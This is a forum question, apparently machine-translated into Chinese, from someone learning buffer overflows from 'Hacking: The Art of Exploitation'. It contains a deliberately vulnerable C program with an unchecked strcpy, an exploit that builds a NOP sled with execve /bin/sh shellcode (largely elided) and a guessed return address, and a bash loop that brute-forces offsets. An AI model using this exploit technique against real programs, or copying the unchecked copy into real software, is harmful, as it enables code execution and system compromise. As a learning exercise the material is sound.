缓冲区溢出 - 猜测正确的偏移量无法正常工作

时间:2015-12-22 02:11:13

标签: stack heap offset exploit

理解缓冲区溢出概念我写了一些代码,名为overflow.c:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){

    char buffer[100];

    if(argc > 1){
        strcpy(buffer, argv[1]);
    }
    else{
        printf("Please give a string to the program\n");
    }
}

如您所见,在将命令行输入复制到我们的100字节数组(称为缓冲区)之前,不进行检查。

现在,我采取另一个代码示例(来自Hacking:剥削艺术,一本好书)。就我而言,它看起来如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//shellcode has 50 bytes of data

char shellcode[]="\xeb\x1a\x5e......[SKIPPED]......\x4b";     // (*)  



int main(int argc, char *argv[]) {

    unsigned int i, *ptr, ret, offset=0;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.

    strcpy(command, "./overflow \'"); // Start command buffer    (**)

    buffer = command + strlen(command); // Set buffer at the end.

    if(argc > 1){ // Set offset.
        offset = atoi(argv[1]);
    }


    ret = (unsigned int) &i - offset; // Set return address.

    for(i=0; i < 150; i+=4){ // Fill buffer with return address. (***)
        *((unsigned int *)(buffer+i)) = ret;
    }

    memset(buffer, 0x90, 50); // Build NOP sled.
    memcpy(buffer+50, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); // Run exploit.
    free(command);
}

所以,我做的是: 在(*)我改变了shellcode数组,因为操作码是不同的。我也跳过了那部分的大部分内容。但它们也代表了一个execve系统调用(典型的/ bin / sh)。 在(**)我改变&#34;启动命令缓冲区&#34; -line with&#34; / .swevout&#34;并将偏移量设置为0。 由于我的shellcode大小为50字节,我还改变了(***)

的循环值

我的理解: 我理解NOP雪橇部分以及为什么我们需要提前知道目标返回地址。

我不理解的是偏移猜测部分。因此,我在一张纸上绘制草图:

  Heap and Stack of exploit_overflow.c

  Lower Address
                        ------------------+
     |                  |                 |
 |   -----------------  |                 v  
 |   |     *buffer -----+     +-----------+----------+-----------+-----+
 Heap ----------------        |           |          |           |     | 
 |   |     *command ----+     |./overflow | NOP sled | Shellcode | RET |
 v   -----------------  |     |           |          |           |     |
     |      .        |  |     +-----------+----------+-----------+-----+
     |      .        |  |     ^
     |      .        |  |     | 
     |      .        |  +-----+
     -----------------
     |    offset     |   ^ 
     -----------------   |
     |    ret        |   |
     -----------------   |
     |    *ptr       |   |
     -----------------   |
     |      i        |   Stack
     -----------------   |
     |     old ebp   |   |
     -----------------   |
     | return address|   |
     -----------------   |
     |      argc     |   |
     -----------------   |
     |      argv[]   |   |
     -----------------   

   Higher Address

因此,在书中它说变量 i 被作为参考点。它们从变量 i 的地址中减去一个偏移量(通过实验猜测)。但是当我计算 i 的地址减去猜测的偏移量时,我得到另一个地址,这是我的目标地址?他们将 ret 变量设置为该地址。但为什么 ?我的目标是在NOP雪橇内找到一个地址,对吧?当我这样做并尝试猜测偏移量时,我总是得到一个&#34;分段错误&#34;。我想我没有选择合适的偏移,对吗?如果是这样,有人可以告诉我为什么吗?

注意:

1)在编译过程中,我使用选项 -fno-stack-protector -z execstack

2)对于偏移猜测,我使用推荐的BASH脚本和for循环

    for i in $(seq 0 30 300)
    do
    echo Trying offset $i
    ./exploit_overflow $i
    done

但每次我都会遇到Segmentation故障。

我希望有人可以提供帮助。

最好的问候,

0 个答案:

没有答案